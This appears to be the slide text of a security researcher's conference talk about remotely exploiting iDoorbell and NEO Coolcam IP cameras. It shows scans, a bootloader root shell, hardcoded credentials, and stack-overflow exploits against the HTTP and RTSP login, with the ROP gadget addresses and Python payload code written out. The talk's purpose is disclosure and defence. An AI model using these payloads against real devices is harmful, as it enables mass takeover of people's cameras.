THE GIFT THAT KEEPS ON GIVING

Alex “Jay” Balan
Chief Security Researcher
Bitdefender
@jaymzu
Smart everything
It takes a special kind of crazy to try this
The most common issues

- Undocumented hardcoded passwords
- Weak or no encryption
- Command injection
- Very old services
- WiFi configuration hotspots
- Bad UX on Firmware updates
The more dangerous issues

- Port forwarding / UPnP
- Device – cloud – mobile app cloud sync
- Poor input validation => command injection
Most IoT security papers are focused on proximity based attacks

- MITM the Bluetooth key exchange
- Get shell on some device in your house
- Attacks that require proximity have their charm
Mass hacks need more love

Remotely mass hacking
A LOT of devices is cooler
IoT = hardware + OS + app (+ Cloud)
Chapter 2

**ONE FIRMWARE TO RULE THEM ALL**
iDoorbell & NEO Coolcam
Setting it up – standard router
Setting it up – setup flow
From a perfectly good router

Host is up, received user-set.
All 1000 scanned ports on 192.168.2.9 are filtered because of 1000 no-responses
To swiss cheese

Q:~ jay$ nmap -A -T4 -Pn 192.168.2.9

Starting Nmap 7.50 (https://nmap.org) at 2017-06-30 15:44 EEST
Nmap scan report for 192.168.2.9
Host is up (0.0045s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open   http    Mongoose httpd
 | http-auth:
 | HTTP/1.1 401 Unauthorized\x0D
 | __ Basic realm=index.html
 | http-title: Login
554/tcp   open   rtsp    Hipcam IP camera rtspd 1.0
 | rtsp-methods: OPTIONS,DESCRIBE,SETUP,TEARDOWN,PLAY,SET_PARAMETER,GET_PARAMETER
Service Info: Device: webcam

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 18.88 seconds
Q:~ jay$
Shodan says this has great potential 😊

Shodan can't be 100% accurate so
- we downloaded the full results for both search patterns
- we diff-ed the unique IPs (IPs showing in both searches & IPs showing only in one or the other)
- The result (at the time) Total unique HTTP+RTSP services: 222808
We started with the usual first steps

- Wireshark
- Mobile app unpacking
- Check for weak encryption
- Check webapp for various vectors
- We realized that we’ve become used to a number of stupid things
  - …and cheered when we found things that should be common sense
    - Encryption in cloud communication (yey!)
  - No encryption on LAN connections, though (boo!)
So...

Log in to 192.168.2.9:80
Your password will be sent unencrypted.

- User Name
- Password

☐ Remember this password
You see an input field – you fuzz it

- Crash on the first try on the web service
- No crash (yet) on the RTSP server
I’m a simple man. I see a crash - I get excited

CRASHES VERY OFTEN LEAD TO RCE
Hook up to serial worked. No creds, though

cloud: iospush: response:
HTTP/1.1 200 OK
Date: Wed, 21 Jun 2017 13:33:36 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.15
Content-Encoding: none
Connection: close
Content-Length: 4
Content-Type: text/html

100

cloud: iospush: alart succeed.

IPCamera login:
IPCamera login: root
Password:
Login incorrect
IPCamera login: admin
Password:
Login incorrect
IPCamera login: 
Bootloader hijack -> root shell

```
bootargs=mem=44M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:512K(boot),256K(kernel),13M(rootfs)
stdin=serial
stdout=serial
stderr=serial
verify=n
ver=U-Boot 2010.06 (Mar 18 2014 - 03:42:32)

Environment size: 524/262140 bytes
hisilicon # setenv bootargs mem=44M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:512K(boot),256K(kernel),13M(rootfs) init=/bin/sh
```
Dumb shell magic

# RSAC

Hub 1 0:1.0: 1 port detected

ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver

hub0-ohci hiusb-ohci.0: HIUSB OHCI

hiusb-ohci hiusb-ohci.0: new USB bus registered, assigned

hiusb-ohci hiusb-ohci.0: irq 16, io mem 0x100a0000

hub 2-0:1.0: USB hub found

hub 2-0:1.0: 1 port detected

usbd: register new interface

hubcore: USB HID core driver

TCP cubic registered

Initializing XFRM netlink

NET: Registered protocol

NET: Registered protocol

NET: Registered protocol

lib80211: common routines for IEEE802.11 drivers

Registering the dns_resolver key type

drivers/rtc/hctosys.c: unable to open rtc device (rtc0)

VFS: Mounted root (jffs2 filesystem) on device 31:2.

Freeing init memory: 104K

/bin/sh: can't access tty; job control turned off

# !

# /bin/sh

/bin/mount -a

echo "

root@1: # telnet 192.168.15.112 2222

Trying 192.168.15.112...

Connected to 192.168.15.112.

Escape character is '^]'.

if [ ! -x $initscript ]; then
echo "[RCS]: $initscript"
$initscript
fi

done

telnetd -p 2222 -l /bin/sh

#
More finds - Undocumented users

```
# cat /mnt/mtd/IPC/conf/config_user.ini
[user0]
username  = "admin"
password  = "mysecretpass"
authtype  = "15"
authgroup = ""

[user1]
username  = "user"
password  = "user"
authtype  = "3"
authgroup = ""

[user2]
username  = "guest"
password  = "guest"
authtype  = "1"
authgroup = ""

[user3]
username  = ""
pasword  = ""
```

More finds – one binary to rule them all (because why not?)

```
# netstat -anp | grep ipc_server

<table>
<thead>
<tr>
<th>Prot</th>
<th>Local Address</th>
<th>Rem Address</th>
<th>State</th>
<th>Remote Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0 0.0.0.0:554</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>tcp</td>
<td>0 0.0.0.0:1935</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>tcp</td>
<td>0 0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>tcp</td>
<td>0 127.0.0.1:80</td>
<td>127.0.0.1:52611</td>
<td>ESTABLISHED</td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>tcp</td>
<td>0 127.0.0.1:80</td>
<td>127.0.0.1:52606</td>
<td>ESTABLISHED</td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:8002</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:12109</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:20101</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:12222</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:6600</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:6601</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:6602</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
<tr>
<td>udp</td>
<td>0 0.0.0.0:6603</td>
<td>0.0.0.0:*</td>
<td></td>
<td>904/ipc_server</td>
</tr>
</tbody>
</table>
```

#
Debug time!

cp -r /path/to/sdcard
When checking auth at http://<ip>/?usr=<user>&pwd=<password>

```
v3 = strlen(v2);
libs_parsedata((int)v2, v3, "usr=" , (int)"&", 1, (int)v5);
v4 = strlen(v2);
libs_parsedata((int)v2, v4, "pwd=" , (int)"&", 1, (int)&v45);
```

`libs_parsedata` will copy the content of those 2 arguments onto the stack without checking if they fit, resulting in an out of bound write

```
char v45; // [sp+33Ch] [bp-14Ch]@1
char s[116]; // [sp+38Ch] [bp-CCh]@1
int v47; // [sp+43Ch] [bp-4Ch]@52
int v48; // [sp+448h] [bp-48h]@61
int v49; // [sp+444h] [bp-44h]@67
int v50; // [sp+448h] [bp-48h]@63
int v51; // [sp+44Ch] [bp-3Ch]@65
int v52; // [sp+450h] [bp-38h]@69
int v53; // [sp+454h] [bp-34h]@71
int v54; // [sp+458h] [bp-30h]@73
char *v55; // [sp+45Ch] [bp-2Ch]@52
```

STMFD SP!, {R4-R11,LR}
SUB SP, SP, #0x460
SUB SP, SP, #4

0x460 allocated on stack
Tragic or comic?

ASLR is enabled 😞

However...

No PIE = it will always load at the same memory address

* checksec.sh - http://www.trapkit.de/tools/checksec.html
Exploiting the overflow

We’ll use ROP gadget at 0x0007EDD8 to put the address of the stack pointer (which now contains our command) into R0 then call the system function to execute our command.

GET /?usr=<204bytes><command>&pwd=<328bytes><0xD8ED07> HTTP/1.1
The “almighty” exploit

```python
import os

def replace_whitespace(s):
    return s.replace(" ", "\${IFS}\")

def main(ip)
    cmd = replace_whitespace("cmd")
    user = "A"*204 + cmd
    password = "A"*328

    # \x64\x7B\x08 -> NIP-22
    if model == "nipp22":
        password += "\x64\x7B\x08"  # MOV R0, SP \ BL system
    # \xD8\xED\x07 -> iDoorBell
    elif model == "idoorbell":
        password += "\xD8\xED\x07"  # MOV R0, SP \ BL system
    else:
        usage()

    url = "http://%s/?usr=%s&pwi=%s" % (ip, user, password)
```
Tried to fuzz the RTSP user/pass – no luck

So...

Field & value implied to have 256 bytes (0x100) each

```c
memset(&field, 0, 0x100u);
memset(&value, 0, 0x100u);
v10 = strstr(v6, "Authorization: Digest ");
if ( !v10 )
    return -7;
v12 = v10 + 22;
if ( v10[22] == 32 )
{
    do
        v13 = *((unsigned __int8 *)v12++ + 1);
    while ( v13 == 32 );
}
do
{
    value = 0;
    if ( sscanf(v12, "^[^=]="[^^\\"]\"\", &field, &value) != 2 &&
        sscanf(v12, "^[^=]=\\"\"\", &field) != 1 )
```
The RTSP server used digest authentication and it seems they implemented it themselves poorly.

Since it’s the same binary we’ll use the same gadget from http

```python
cmd = cmd.replace(" ", "${IFS}" )
field = "A"*296 + cmd
username = "A"*548

# \x64\x7B\x08 -> NIP-22
if model == "nip22":
    username += "\x64\x7B\x08" # MOV R0, SP \ BL system
# \xD8\xED\x07 -> iDoorBell
elif model == "idoorbell":
    username += "\xD8\xED\x07" # MOV R0, SP \ BL system
else:
    usage()

request = """DESCRIBE rtsp://%s:554/ RTSP/1.0\r\n\nSeq: 1\r\nAuthorization: Digest %s="%s"\r\n\n\n"""
% (ip, field, username)
```
DEMO
20 years ago called

Getting root by passing 200 chars to login should not still be a thing in 2018
To sum things up

- The user is required to set a password. But there are 2 other undocumented users hardcoded.
- 200 chars overflow. ASLR is supported but ignored.
- UPnP is more of a problem than a solution under these circumstances.
- Hard to tell how many devices are affected but at this point we’re looking at over 200k.
  - RCE for other models can be achieved but requires adding separate targets to the exploit.
Takeaways

- We need a “security certification” system for IoT, that looks at more than “military grade encryption”

- We need to educate or otherwise “stimulate” the vendors to have a proper incident response process and unattended update mechanisms

- We need to educate the users to get to get tools that can handle the security of their non-traditional devices. At the very least vulnerability checkers
Takeaways for companies

- Have a regularly updated inventory of your connected devices. If you haven’t checked yet, odds are you have more than you know.
- Check all of them for telnet or other management interfaces. Check if they can be accessed with known credentials (use the MIRAI sourcecode).
- Run vulnerability assessment tools on all services exposed by your connected devices.
- Treat your network as hostile!
The gift that keeps on giving

- There are vulnerabilities discovered in apps every day but at the rate IoT is developing we’ll have stuff to talk about for ages.
- IoT security papers are a low hanging fruit. Almost everything is not only broken but also, sometimes, unfixable.
- Focus on remote exploits and mass hacks since that’s what cybercriminals will focus on.
Ask me anything

abalan@bitdefender.com | @jaymzu